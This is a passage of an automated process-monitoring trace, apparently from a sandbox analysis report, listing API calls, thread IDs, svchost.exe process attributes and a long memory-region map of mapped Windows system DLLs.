[0152.013] free (_Block=0x15c480) [0152.013] free (_Block=0x15c4a0) [0152.014] free (_Block=0x158200) [0152.014] free (_Block=0x15c540) [0152.014] free (_Block=0x15c560) [0152.014] free (_Block=0x1582c0) [0152.014] CoUninitialize () [0152.015] DllCanUnloadNow () returned 0x0 [0152.669] free (_Block=0x15ddf0) [0152.669] ??3@YAXPEAX@Z () returned 0x440077002e0001 [0152.670] ??3@YAXPEAX@Z () returned 0x2690cf01 [0152.670] ??3@YAXPEAX@Z () returned 0x2690cf01 [0152.671] ??3@YAXPEAX@Z () returned 0x2690cf01 [0152.672] free (_Block=0x159ff0) [0152.913] exit (_Code=0) [0152.914] free (_Block=0x156d30) [0152.914] free (_Block=0x157cb0) [0152.914] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0152.915] free (_Block=0x156e20) [0152.915] free (_Block=0x156560) [0152.915] free (_Block=0x157c70) [0152.916] free (_Block=0x157c30) [0152.916] free (_Block=0x157be0) [0152.916] free (_Block=0x157ba0) [0152.916] free (_Block=0x15ccc0) [0152.917] free (_Block=0x155ae0) [0152.917] free (_Block=0x157b20) [0152.917] free (_Block=0x21df90) [0152.917] free (_Block=0x15cce0) [0152.918] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0152.918] free (_Block=0x15cc60) Thread: id = 78 os_tid = 0xfe0 Thread: id = 79 os_tid = 0xfe4 Thread: id = 80 os_tid = 0xfe8 Thread: id = 81 os_tid = 0xfec Thread: id = 82 os_tid = 0xff0 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x2bfcb000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000c11f" [0xc000000f], "LOCAL" [0x7] Region: id = 2198 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2199 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2200 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2201 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2202 start_va = 0x50000 end_va = 0x50fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 2203 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 2204 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2205 start_va = 0x80000 end_va = 0x8cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 2206 start_va = 0x90000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2207 start_va = 0x110000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2208 start_va = 0x150000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2209 start_va = 0x170000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2210 start_va = 0x270000 end_va = 0x2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2211 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2212 start_va = 0x3e0000 end_va = 0x567fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 2213 start_va = 0x570000 end_va = 0x6f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 2214 start_va = 0x700000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 2215 start_va = 0x7c0000 end_va = 0x7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 2216 start_va = 0x7e0000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007e0000" filename = "" Region: id = 2217 start_va = 0x860000 end_va = 0x87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 2218 start_va = 0x880000 end_va = 0x880fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 2219 start_va = 0x890000 end_va = 0x890fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 2220 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 2221 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 2222 start_va = 0x8c0000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 2223 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 2224 start_va = 0x8e0000 end_va = 0x8e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 2225 start_va = 0x8f0000 end_va = 0x8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 2226 start_va = 0x900000 end_va = 0x907fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2227 start_va = 0x910000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 2228 start_va = 0x920000 end_va = 0x920fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 2229 start_va = 0x990000 end_va = 0x990fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 2230 start_va = 0x9c0000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 2231 start_va = 0xa70000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 2232 start_va = 0xb10000 end_va = 0xb8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 2233 start_va = 0xb90000 end_va = 0xe5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2234 start_va = 0xe60000 end_va = 0xf5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 2235 start_va = 0xf80000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 2236 start_va = 0x1010000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 2237 start_va = 0x1090000 end_va = 0x110ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 2238 start_va = 0x1120000 end_va = 0x119ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 2239 start_va = 0x11a0000 end_va = 0x1201fff monitored = 0 entry_point = 0x11b08d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2240 start_va = 0x1250000 end_va = 0x125ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001250000" filename = "" Region: id = 2241 start_va = 0x1260000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 2242 start_va = 0x1480000 end_va = 0x14fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001480000" filename = "" Region: id = 2243 start_va = 0x1520000 end_va = 0x159ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 2244 start_va = 0x16b0000 end_va = 0x172ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 2245 start_va = 0x1740000 end_va = 0x17bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001740000" filename = "" Region: id = 2246 start_va = 0x17d0000 end_va = 0x184ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017d0000" filename = "" Region: id = 2247 start_va = 0x18a0000 end_va = 0x191ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018a0000" filename = "" Region: id = 2248 start_va = 0x1930000 end_va = 0x19affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001930000" filename = "" Region: id = 2249 start_va = 0x19b0000 end_va = 0x1baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019b0000" filename = "" Region: id = 2250 start_va = 0x1bb0000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 2251 start_va = 0x1fc0000 end_va = 0x203ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 2252 start_va = 0x2100000 end_va = 0x217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 2253 start_va = 0x21b0000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021b0000" filename = "" Region: id = 2254 start_va = 0x21c0000 end_va = 0x25c2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 2255 start_va = 0x2640000 end_va = 0x26bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 2256 start_va = 0x2710000 end_va = 0x278ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 2257 start_va = 0x2790000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 2258 start_va = 0x2830000 end_va = 0x28affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 2259 start_va = 0x29b0000 end_va = 0x2a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2260 start_va = 0x2a30000 end_va = 0x2b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a30000" filename = "" Region: id = 2261 start_va = 0x2b40000 end_va = 0x2bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 2262 start_va = 0x2bc0000 end_va = 0x33bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 2263 start_va = 0x77660000 end_va = 0x7777efff monitored = 0 entry_point = 0x77675340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2264 start_va = 0x77780000 end_va = 0x77879fff monitored = 0 entry_point = 0x7779a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2265 start_va = 0x77880000 end_va = 0x77a28fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2266 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2267 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2268 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2269 start_va = 0xff240000 end_va = 0xff2a1fff monitored = 0 entry_point = 0xff2508d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" (normalized: "c:\\windows\\system32\\winlogon.exe") Region: id = 2270 start_va = 0xff680000 end_va = 0xff6d2fff monitored = 0 entry_point = 0xff693310 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 2271 start_va = 0xff950000 end_va = 0xff95afff monitored = 0 entry_point = 0xff95246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 2272 start_va = 0x7fef3890000 end_va = 0x7fef39b4fff monitored = 0 entry_point = 0x7fef38e1570 region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\System32\\dbghelp.dll" (normalized: "c:\\windows\\system32\\dbghelp.dll") Region: id = 2273 start_va = 0x7fef3c40000 end_va = 0x7fef3c5bfff monitored = 0 entry_point = 0x7fef3c41060 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 2274 start_va = 0x7fef3cd0000 end_va = 0x7fef3d7dfff monitored = 0 entry_point = 0x7fef3cd4104 region_type = mapped_file name = "wuapi.dll" filename = "\\Windows\\System32\\wuapi.dll" (normalized: "c:\\windows\\system32\\wuapi.dll") Region: id = 2275 start_va = 0x7fef6cf0000 end_va = 0x7fef6d0afff monitored = 0 entry_point = 0x7fef6cf1198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2276 start_va = 0x7fef9210000 end_va = 0x7fef921afff monitored = 0 entry_point = 0x7fef92112e0 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2277 start_va = 0x7fef9220000 end_va = 0x7fef9234fff monitored = 0 entry_point = 0x7fef92212a0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2278 start_va = 0x7fef9240000 end_va = 0x7fef9258fff monitored = 0 entry_point = 0x7fef924177c region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2279 start_va = 0x7fef98f0000 end_va = 0x7fef9902fff monitored = 0 entry_point = 0x7fef98f1d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 2280 start_va = 0x7fef9bd0000 end_va = 0x7fef9bddfff monitored = 0 entry_point = 0x7fef9bd5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 2281 start_va = 0x7fef9be0000 end_va = 0x7fef9c06fff monitored = 0 entry_point = 0x7fef9be11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 2282 start_va = 0x7fef9c10000 end_va = 0x7fef9ce2fff monitored = 0 entry_point = 0x7fef9c88b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 2283 start_va = 0x7fef9e70000 end_va = 0x7fef9ee6fff monitored = 0 entry_point = 0x7fef9eae7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 2284 start_va = 0x7fefa770000 end_va = 0x7fefa777fff monitored = 0 entry_point = 0x7fefa771414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2285 start_va = 0x7fefac50000 end_va = 0x7fefac67fff monitored = 0 entry_point = 0x7fefac51bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2286 start_va = 0x7fefac70000 end_va = 0x7fefac80fff monitored = 0 entry_point = 0x7fefac716ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2287 start_va = 0x7fefaca0000 end_va = 0x7fefacf2fff monitored = 0 entry_point = 0x7fefaca2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2288 start_va = 0x7fefad30000 end_va = 0x7fefad6afff monitored = 0 entry_point = 0x7fefad34520 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 2289 start_va = 0x7fefad70000 end_va = 0x7fefadc0fff monitored = 0 entry_point = 0x7fefad7f6c0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 2290 start_va = 0x7fefade0000 end_va = 0x7fefade7fff monitored = 0 entry_point = 0x7fefade284c region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 2291 start_va = 0x7fefadf0000 end_va = 0x7fefadf9fff monitored = 0 entry_point = 0x7fefadf1adc region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 2292 start_va = 0x7fefb1e0000 end_va = 0x7fefb22efff monitored = 0 entry_point = 0x7fefb1e2760 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 2293 start_va = 0x7fefb2b0000 end_va = 0x7fefb2bafff monitored = 0 entry_point = 0x7fefb2b1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2294 start_va = 0x7fefb2c0000 end_va = 0x7fefb2e6fff monitored = 0 entry_point = 0x7fefb2c98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2295 start_va = 0x7fefb440000 end_va = 0x7fefb454fff monitored = 0 entry_point = 0x7fefb4460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2296 start_va = 0x7fefb760000 end_va = 0x7fefb768fff monitored = 0 entry_point = 0x7fefb761010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 2297 start_va = 0x7fefb770000 end_va = 0x7fefb79bfff monitored = 0 entry_point = 0x7fefb7715c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2298 start_va = 0x7fefb7a0000 end_va = 0x7fefb84bfff monitored = 0 entry_point = 0x7fefb7b6acc region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 2299 start_va = 0x7fefb850000 end_va = 0x7fefb87cfff monitored = 0 entry_point = 0x7fefb851010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2300 start_va = 0x7fefb9f0000 end_va = 0x7fefba04fff monitored = 0 entry_point = 0x7fefb9f1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2301 start_va = 0x7fefba10000 end_va = 0x7fefba1bfff monitored = 0 entry_point = 0x7fefba118a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 2302 start_va = 0x7fefbd10000 end_va = 0x7fefbd5afff monitored = 0 entry_point = 0x7fefbd1efcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 2303 start_va = 0x7fefc180000 end_va = 0x7fefc2abfff monitored = 0 entry_point = 0x7fefc1894bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 2304 start_va = 0x7fefc7f0000 end_va = 0x7fefc985fff monitored = 0 entry_point = 0x7fefc7f78e4 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 2305 start_va = 0x7fefc990000 end_va = 0x7fefc99bfff monitored = 0 entry_point = 0x7fefc991064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2306 start_va = 0x7fefc9a0000 end_va = 0x7fefca5afff monitored = 0 entry_point = 0x7fefc9a6de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 2307 start_va = 0x7fefca60000 end_va = 0x7fefca66fff monitored = 0 entry_point = 0x7fefca614b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2308 start_va = 0x7fefcb50000 end_va = 0x7fefcb6afff monitored = 0 entry_point = 0x7fefcb52068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2309 start_va = 0x7fefcb70000 end_va = 0x7fefcb8dfff monitored = 0 entry_point = 0x7fefcb713b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2310 start_va = 0x7fefccc0000 end_va = 0x7fefccc9fff monitored = 0 entry_point = 0x7fefccc3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2311 start_va = 0x7fefcdc0000 end_va = 0x7fefce06fff monitored = 0 entry_point = 0x7fefcdc1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2312 start_va = 0x7fefcee0000 end_va = 0x7fefcf3afff monitored = 0 entry_point = 0x7fefcee6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2313 start_va = 0x7fefd050000 end_va = 0x7fefd056fff monitored = 0 entry_point = 0x7fefd05142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2314 start_va = 0x7fefd060000 end_va = 0x7fefd0b4fff monitored = 0 entry_point = 0x7fefd061054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2315 start_va = 0x7fefd0c0000 end_va = 0x7fefd0d7fff monitored = 0 entry_point = 0x7fefd0c3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2316 start_va = 0x7fefd230000 end_va = 0x7fefd251fff monitored = 0 entry_point = 0x7fefd235d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2317 start_va = 0x7fefd2f0000 end_va = 0x7fefd35cfff monitored = 0 entry_point = 0x7fefd2f1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2318 start_va = 0x7fefd660000 end_va = 0x7fefd66afff monitored = 0 entry_point = 0x7fefd661030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2319 start_va = 0x7fefd690000 end_va = 0x7fefd6b4fff monitored = 0 entry_point = 0x7fefd699658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2320 start_va = 0x7fefd6c0000 end_va = 0x7fefd6cefff monitored = 0 entry_point = 0x7fefd6c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2321 start_va = 0x7fefd770000 end_va = 0x7fefd7acfff monitored = 0 entry_point = 0x7fefd7718f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2322 start_va = 0x7fefd7b0000 end_va = 0x7fefd7c3fff monitored = 0 entry_point = 0x7fefd7b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2323 start_va = 0x7fefd7d0000 end_va = 0x7fefd7defff monitored = 0 entry_point = 0x7fefd7d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2324 start_va = 0x7fefd870000 end_va = 0x7fefd87efff monitored = 0 entry_point = 0x7fefd871020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2325 start_va = 0x7fefd920000 end_va = 0x7fefd98bfff monitored = 0 entry_point = 0x7fefd922780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2326 start_va = 0x7fefd990000 end_va = 0x7fefd9a9fff monitored = 0 entry_point = 0x7fefd991558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2327 start_va = 0x7fefd9b0000 end_va = 0x7fefd9e5fff monitored = 0 entry_point = 0x7fefd9b1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2328 start_va = 0x7fefd9f0000 end_va = 0x7fefda2afff monitored = 0 entry_point = 0x7fefd9f1324 